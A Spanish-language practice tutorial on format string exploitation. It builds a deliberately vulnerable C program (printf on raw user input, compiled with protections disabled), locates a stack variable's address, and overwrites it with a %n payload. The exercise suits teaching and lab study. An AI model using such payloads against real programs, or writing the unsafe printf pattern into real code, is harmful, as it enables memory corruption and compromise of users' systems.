Vulnerabilidad Format String 2.
%x Hexadecimal
%s Cadena de caracteres
%p Puntero a direcciones
%d Integer
%u Unsigned Integer
%o Octal
%f Flotante
%c Caracter
n imprimir
Vamos a compilar este código sin algunas protecciones
void vuln()
{
int acceso = 1;
char buffer[64];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
if(acceso == 32) {
printf(" lograste la vulnerabilidad de format string\n");
}
}
int main(int argc, char **argv)
{
vuln();
}
gcc -m32 -z execstack -z norelro -fno-stack-protector -o formato2 formato2.c
Otro ejemplo de format string pero ahora solo vamos a agregar un integer, es más sencillo pero es otra forma de practicar lo aprendido.
Vamos a colocar las tres formas de descubrir donde esta guardada la variable 0x1 de “acceso”.




Ya tenemos muy confirmado donde está guardado el valor 1 = “0xffffd23c”
Ahora es buscar si es vulnerable el printf, vamos a repetir proceso.


Vamos a poner un break en printf y después para ver como cambia el valor.

Listo. Valor cambiado, ahora ¿qué paso sigue?, pues colocar el integer que pide que es 32, recordemos que es 32 - 4 = 28, porque (\x3c\xd2\xff\xff ← (a estos 4 me refiero)) = 28.
$(python2 -c 'print "\x3c\xd2\xff\xff%28x%7$n"')

Se logró el objetivo de encontrar la vulnerabilidad del formato 2.